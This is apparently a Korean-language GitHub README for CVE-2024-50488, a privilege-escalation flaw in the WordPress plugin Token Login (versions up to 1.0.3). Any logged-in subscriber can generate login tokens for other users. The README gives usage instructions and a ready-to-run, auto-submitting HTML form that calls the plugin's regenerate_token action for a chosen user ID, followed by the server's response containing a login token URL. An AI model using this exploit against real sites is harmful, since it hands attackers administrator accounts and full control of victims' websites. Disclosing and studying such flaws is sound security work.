randomrobbiebf/cve-2024-50488Token Login <= 1.0.3 - 인증된 (구독자+) 권한 상승
Token Login <= 1.0.3 - 인증된 (Subscriber+) 권한 상승
보안 토큰화된 URL을 사용한 자동 로그인 및 역할별 로그인 제한 기능을 제공하는 WordPress 플러그인은 1.0.3 이하의 모든 버전에서 계정 탈취를 통한 권한 상승에 취약합니다. 이는 플러그인이 사용자가 다른 사용자를 위한 로그인 토큰을 생성할 권한이 있는지 제대로 검증하지 않기 때문입니다. 이로 인해 구독자(subscriber) 수준 이상의 접근 권한을 가진 인증된 공격자가 관리자를 포함한 다른 사용자로 로그인할 수 있습니다.
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50488
CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 8.8
Slugs: token-login
로그인한 상태에서 이 HTML 제출(submit)을 실행하세요. URL을 자신이 로그인한 WordPress 사이트로 변경하세요. 토큰을 생성하려는 사용자로 ID를 변경하세요. URL을 복사하면 해당 사용자로 로그인할 수 있습니다.
<html>
<body>
<form action="http://kubernetes.docker.internal/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tl_admin_ajax_action" />
<input type="hidden" name="method" value="regenerate_token" />
<input type="hidden" name="user_id" value="7" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
응답
{"status":"success","message":"Successfully regenerated token!","token_url":"http:\/\/kubernetes.docker.internal?__token__=1c8dc9406bc444d1f5cea37fae130f92"}